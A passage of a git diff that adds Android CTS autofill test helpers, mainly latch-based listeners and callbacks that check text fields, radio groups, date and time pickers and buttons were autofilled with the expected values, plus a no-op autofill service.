+            @Override
+            public void evaluate() throws Throwable {
+                final int original = Helper.getMaxVisibleDatasets();
+                Helper.setMaxVisibleDatasets(mMaxNumber);
+                try {
+                    base.evaluate();
+                } finally {
+                    Helper.setMaxVisibleDatasets(original);
+                }
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesRadioGroupListener.java
new file mode 100644
index 0000000..a8b4317
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesRadioGroupListener.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.RadioGroup;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
+ * {@link RadioGroup} was auto-filled properly.
+ */
+public final class MultipleTimesRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
+    private final String mName;
+    private final CountDownLatch mLatch;
+    private final RadioGroup mRadioGroup;
+    private final int mExpected;
+
+    public MultipleTimesRadioGroupListener(String name, int times, RadioGroup radioGroup,
+            int expectedAutoFilledValue) {
+        mName = name;
+        mRadioGroup = radioGroup;
+        mExpected = expectedAutoFilledValue;
+        mLatch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void onCheckedChanged(RadioGroup group, int checkedId) {
+        mLatch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = mLatch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT.ms(), mName)
+            .that(set).isTrue();
+        final int actual = mRadioGroup.getAutofillValue().getListValue();
+        assertWithMessage("Wrong auto-fill value on RadioGroup %s", mName)
+            .that(actual).isEqualTo(mExpected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTextWatcher.java
new file mode 100644
index 0000000..9e59634
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTextWatcher.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.util.Log;
+import android.widget.EditText;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link TextWatcher} used to assert a {@link EditText} was set multiple times.
+ */
+public class MultipleTimesTextWatcher implements TextWatcher {
+    private static final String TAG = "MultipleTimesTextWatcher";
+
+    private final String mName;
+    private final CountDownLatch mLatch;
+    private final EditText mEditText;
+    private final CharSequence mExpected;
+
+    public MultipleTimesTextWatcher(String name, int times, EditText editText,
+            CharSequence expectedAutofillValue) {
+        this.mName = name;
+        this.mEditText = editText;
+        this.mExpected = expectedAutofillValue;
+        this.mLatch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+    }
+
+    @Override
+    public void onTextChanged(CharSequence s, int start, int before, int count) {
+        Log.v(TAG, "onTextChanged(" + mLatch.getCount() + "): " + mName + " = " + s);
+        mLatch.countDown();
+    }
+
+    @Override
+    public void afterTextChanged(Editable s) {
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = mLatch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        if (!set) {
+            throw new RetryableException(FILL_TIMEOUT, "Timeout (%s ms) on EditText %s",
+                    FILL_TIMEOUT.ms(), mName);
+        }
+        final String actual = mEditText.getText().toString();
+        assertWithMessage("Wrong auto-fill value on EditText %s", mName)
+                .that(actual).isEqualTo(mExpected.toString());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTimeListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTimeListener.java
new file mode 100644
index 0000000..10d87e1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTimeListener.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.TimePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@OnDateChangedListener} used to assert a {@link TimePicker} was auto-filled properly.
+ */
+public final class MultipleTimesTimeListener implements TimePicker.OnTimeChangedListener {
+    private final String name;
+    private final CountDownLatch latch;
+    private final TimePicker timePicker;
+    private final int expectedHour;
+    private final int expectedMinute;
+
+    public MultipleTimesTimeListener(String name, int times, TimePicker timePicker,
+            int expectedHour, int expectedMinute) {
+        this.name = name;
+        this.timePicker = timePicker;
+        this.expectedHour = expectedHour;
+        this.expectedMinute = expectedMinute;
+        this.latch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void onTimeChanged(TimePicker view, int hour, int minute) {
+        latch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on TimePicker %s", FILL_TIMEOUT.ms(), name)
+                .that(set).isTrue();
+        assertWithMessage("Wrong hour on TimePicker %s", name)
+                .that(timePicker.getHour()).isEqualTo(expectedHour);
+        assertWithMessage("Wrong minute on TimePicker %s", name)
+                .that(timePicker.getMinute()).isEqualTo(expectedMinute);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillCallback.java
new file mode 100644
index 0000000..7c43aab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillCallback.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Helper.callbackEventAsString;
+import static android.autofillservice.cts.testcore.Timeouts.CALLBACK_NOT_CALLED_TIMEOUT_MS;
+import static android.autofillservice.cts.testcore.Timeouts.CONNECTION_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillManager.AutofillCallback;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.Timeout;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link AutofillCallback} used to recover events during tests.
+ */
+public final class MyAutofillCallback extends AutofillCallback {
+
+    private static final String TAG = "MyAutofillCallback";
+    private final BlockingQueue<MyEvent> mEvents = new LinkedBlockingQueue<>();
+
+    public static final Timeout MY_TIMEOUT = CONNECTION_TIMEOUT;
+
+    // We must handle all requests in a separate thread as the service's main thread is the also
+    // the UI thread of the test process and we don't want to hose it in case of failures here
+    private static final HandlerThread sMyThread = new HandlerThread("MyCallbackThread");
+    private final Handler mHandler;
+
+    static {
+        Log.i(TAG, "Starting thread " + sMyThread);
+        sMyThread.start();
+    }
+
+    public MyAutofillCallback() {
+        mHandler = Handler.createAsync(sMyThread.getLooper());
+    }
+
+    @Override
+    public void onAutofillEvent(View view, int event) {
+        mHandler.post(() -> offer(new MyEvent(view, event)));
+    }
+
+    @Override
+    public void onAutofillEvent(View view, int childId, int event) {
+        mHandler.post(() -> offer(new MyEvent(view, childId, event)));
+    }
+
+    private void offer(MyEvent event) {
+        Log.v(TAG, "offer: " + event);
+        Helper.offer(mEvents, event, MY_TIMEOUT.ms());
+    }
+
+    /**
+     * Gets the next available event or fail if it times out.
+     */
+    public MyEvent getEvent() throws InterruptedException {
+        final MyEvent event = mEvents.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        if (event == null) {
+            throw new RetryableException(CONNECTION_TIMEOUT, "no event");
+        }
+        return event;
+    }
+
+    /**
+     * Assert no more events were received.
+     */
+    public void assertNotCalled() throws InterruptedException {
+        final MyEvent event = mEvents.poll(CALLBACK_NOT_CALLED_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (event != null) {
+            // Not retryable.
+            throw new IllegalStateException("should not have received " + event);
+        }
+    }
+
+    /**
+     * Used to assert there is no event left behind.
+     */
+    public void assertNumberUnhandledEvents(int expected) {
+        assertWithMessage("Invalid number of events left: %s", mEvents).that(mEvents.size())
+                .isEqualTo(expected);
+    }
+
+    /**
+     * Convenience method to assert an UI shown event for the given view was received.
+     */
+    public MyEvent assertUiShownEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_SHOWN);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+            .isSameInstanceAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI shown event for the given virtual view was received.
+     */
+    public void assertUiShownEvent(View expectedView, int expectedChildId)
+            throws InterruptedException {
+        final MyEvent event = assertUiShownEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+            .isEqualTo(expectedChildId);
+    }
+
+    /**
+     * Convenience method to assert an UI shown event a virtual view was received.
+     *
+     * @return virtual child id
+     */
+    public int assertUiShownEventForVirtualChild(View expectedView) throws InterruptedException {
+        final MyEvent event = assertUiShownEvent(expectedView);
+        return event.childId;
+    }
+
+    /**
+     * Convenience method to assert an UI hidden event for the given view was received.
+     */
+    public MyEvent assertUiHiddenEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_HIDDEN);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+                .isSameInstanceAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI hidden event for the given view was received.
+     */
+    public void assertUiHiddenEvent(View expectedView, int expectedChildId)
+            throws InterruptedException {
+        final MyEvent event = assertUiHiddenEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+                .isEqualTo(expectedChildId);
+    }
+
+    /**
+     * Convenience method to assert an UI unavailable event for the given view was received.
+     */
+    public MyEvent assertUiUnavailableEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_UNAVAILABLE);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+                .isSameInstanceAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI unavailable event for the given view was received.
+     */
+    public void assertUiUnavailableEvent(View expectedView, int expectedChildId)
+            throws InterruptedException {
+        final MyEvent event = assertUiUnavailableEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+                .isEqualTo(expectedChildId);
+    }
+
+    private static final class MyEvent {
+        public final View view;
+        public final int childId;
+        public final int event;
+
+        MyEvent(View view, int event) {
+            this(view, View.NO_ID, event);
+        }
+
+        MyEvent(View view, int childId, int event) {
+            this.view = view;
+            this.childId = childId;
+            this.event = event;
+        }
+
+        @Override
+        public String toString() {
+            return callbackEventAsString(event) + ": " + view + " (childId: " + childId + ")";
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillId.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillId.java
new file mode 100644
index 0000000..8e15b0a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillId.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.autofill.AutofillId;
+
+public final class MyAutofillId implements Parcelable {
+
+    private final AutofillId mId;
+
+    public MyAutofillId(AutofillId id) {
+        mId = id;
+    }
+
+    @Override
+    public int hashCode() {
+        final int prime = 31;
+        int result = 1;
+        result = prime * result + ((mId == null) ? 0 : mId.hashCode());
+        return result;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (this == obj) return true;
+        if (obj == null) return false;
+        if (getClass() != obj.getClass()) return false;
+        MyAutofillId other = (MyAutofillId) obj;
+        if (mId == null) {
+            if (other.mId != null) return false;
+        } else if (!mId.equals(other.mId)) {
+            return false;
+        }
+        return true;
+    }
+
+    @Override
+    public String toString() {
+        return mId.toString();
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+        dest.writeParcelable(mId, flags);
+    }
+
+    public static final Creator<MyAutofillId> CREATOR = new Creator<MyAutofillId>() {
+
+        @Override
+        public MyAutofillId createFromParcel(Parcel source) {
+            return new MyAutofillId(source.readParcelable(null));
+        }
+
+        @Override
+        public MyAutofillId[] newArray(int size) {
+            return new MyAutofillId[size];
+        }
+    };
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MyDrawable.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyDrawable.java
new file mode 100644
index 0000000..7cc5a9d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyDrawable.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.graphics.Canvas;
+import android.graphics.ColorFilter;
+import android.graphics.Rect;
+import android.graphics.drawable.Drawable;
+import android.util.Log;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class MyDrawable extends Drawable {
+
+    private static final String TAG = "MyDrawable";
+
+    private static CountDownLatch sLatch;
+    private static MyDrawable sInstance;
+
+    private static Rect sAutofilledBounds;
+
+    public MyDrawable() {
+        if (sInstance != null) {
+            throw new IllegalStateException("There can be only one!");
+        }
+        sInstance = this;
+    }
+
+    @Override
+    public void draw(Canvas canvas) {
+        if (sInstance != null && sAutofilledBounds == null) {
+            sAutofilledBounds = new Rect(getBounds());
+            Log.d(TAG, "Autofilled at " + sAutofilledBounds);
+            sLatch.countDown();
+        }
+    }
+
+    public static Rect getAutofilledBounds() throws InterruptedException {
+        if (sLatch == null) {
+            throw new AssertionError("sLatch should be not null");
+        }
+
+        if (!sLatch.await(Timeouts.FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(Timeouts.FILL_TIMEOUT, "custom drawable not drawn");
+        }
+        return sAutofilledBounds;
+    }
+
+    /**
+     * Asserts the custom drawable is not drawn.
+     */
+    public static void assertDrawableNotDrawn() throws Exception {
+        if (sLatch == null) {
+            throw new AssertionError("sLatch should be not null");
+        }
+
+        if (sLatch.await(Timeouts.DRAWABLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            throw new AssertionError("custom drawable is drawn");
+        }
+    }
+
+    public static void initStatus() {
+        sLatch = new CountDownLatch(1);
+        sInstance = null;
+        sAutofilledBounds = null;
+    }
+
+    public static void clearStatus() {
+        sLatch = null;
+        sInstance = null;
+        sAutofilledBounds = null;
+    }
+
+    @Override
+    public void setAlpha(int alpha) {
+    }
+
+    @Override
+    public void setColorFilter(ColorFilter colorFilter) {
+    }
+
+    @Override
+    public int getOpacity() {
+        return 0;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/NoOpAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/NoOpAutofillService.java
new file mode 100644
index 0000000..9f098ab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/NoOpAutofillService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * {@link AutofillService} implementation that does not do anything...
+ */
+public class NoOpAutofillService extends AutofillService {
+
+    private static final String TAG = "NoOpAutofillService";
+
+    public static final String SERVICE_LABEL = "NoOpAutofillService";
+
+    public static final String SERVICE_NAME =
+            "android.autofillservice.cts/.testcore." + NoOpAutofillService.class.getSimpleName();
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        Log.d(TAG, "onFillRequest()");
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.d(TAG, "onFillResponse()");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCancellationSignalListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCancellationSignalListener.java
new file mode 100644
index 0000000..9670665
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCancellationSignalListener.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.CancellationSignal;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.os.CancellationSignal.OnCancelListener} used to assert that
+ * {@link android.os.CancellationSignal.OnCancelListener} was called, and just once.
+ */
+public final class OneTimeCancellationSignalListener
+        implements CancellationSignal.OnCancelListener {
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+    private final long mTimeoutMs;
+
+    public OneTimeCancellationSignalListener(long timeoutMs) {
+        mTimeoutMs = timeoutMs;
+    }
+
+    public void assertOnCancelCalled() throws Exception {
+        final boolean called = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for onCancel()", mTimeoutMs)
+                .that(called).isTrue();
+    }
+
+    @Override
+    public void onCancel() {
+        mLatch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCompoundButtonListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCompoundButtonListener.java
new file mode 100644
index 0000000..2d67211
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCompoundButtonListener.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.CompoundButton;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.widget.CompoundButton.OnCheckedChangeListener} used to assert a
+ * {@link CompoundButton} was auto-filled properly.
+ */
+public final class OneTimeCompoundButtonListener implements CompoundButton.OnCheckedChangeListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final CompoundButton button;
+    private final boolean expected;
+
+    public OneTimeCompoundButtonListener(String name, CompoundButton button,
+            boolean expectedAutofillValue) {
+        this.name = name;
+        this.button = button;
+        this.expected = expectedAutofillValue;
+    }
+
+    @Override
+    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
+        latch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on CompoundButton %s", FILL_TIMEOUT.ms(), name)
+            .that(set).isTrue();
+        final boolean actual = button.isChecked();
+        assertWithMessage("Wrong auto-fill value on CompoundButton %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeDateListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeDateListener.java
new file mode 100644
index 0000000..9dca760
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeDateListener.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.DatePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@OnDateChangedListener} used to assert a {@link DatePicker} was auto-filled properly.
+ */
+public final class OneTimeDateListener implements DatePicker.OnDateChangedListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final DatePicker datePicker;
+    private final int expectedYear;
+    private final int expectedMonth;
+    private final int expectedDay;
+
+    public OneTimeDateListener(String name, DatePicker datePicker, int expectedYear,
+            int expectedMonth,
+            int expectedDay) {
+        this.name = name;
+        this.datePicker = datePicker;
+        this.expectedYear = expectedYear;
+        this.expectedMonth = expectedMonth;
+        this.expectedDay = expectedDay;
+    }
+
+    @Override
+    public void onDateChanged(DatePicker view, int year, int monthOfYear, int dayOfMonth) {
+        latch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on DatePicker %s", FILL_TIMEOUT.ms(), name)
+            .that(set).isTrue();
+        assertWithMessage("Wrong year on DatePicker %s", name)
+            .that(datePicker.getYear()).isEqualTo(expectedYear);
+        assertWithMessage("Wrong month on DatePicker %s", name)
+            .that(datePicker.getMonth()).isEqualTo(expectedMonth);
+        assertWithMessage("Wrong day on DatePicker %s", name)
+            .that(datePicker.getDayOfMonth()).isEqualTo(expectedDay);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeRadioGroupListener.java
new file mode 100644
index 0000000..65d8ded
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeRadioGroupListener.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.RadioGroup;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
+ * {@link RadioGroup} was auto-filled properly.
+ */
+public final class OneTimeRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final RadioGroup radioGroup;
+    private final int expected;
+
+    public OneTimeRadioGroupListener(String name, RadioGroup radioGroup,
+            int expectedAutoFilledValue) {
+        this.name = name;
+        this.radioGroup = radioGroup;
+        this.expected = expectedAutoFilledValue;
+    }
+
+    @Override
+    public void onCheckedChanged(RadioGroup group, int checkedId) {
+        latch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT.ms(), name)
+            .that(set).isTrue();
+        final int actual = radioGroup.getCheckedRadioButtonId();
+        assertWithMessage("Wrong auto-fill value on RadioGroup %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeSpinnerListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeSpinnerListener.java
new file mode 100644
index 0000000..1ca2cb6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeSpinnerListener.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
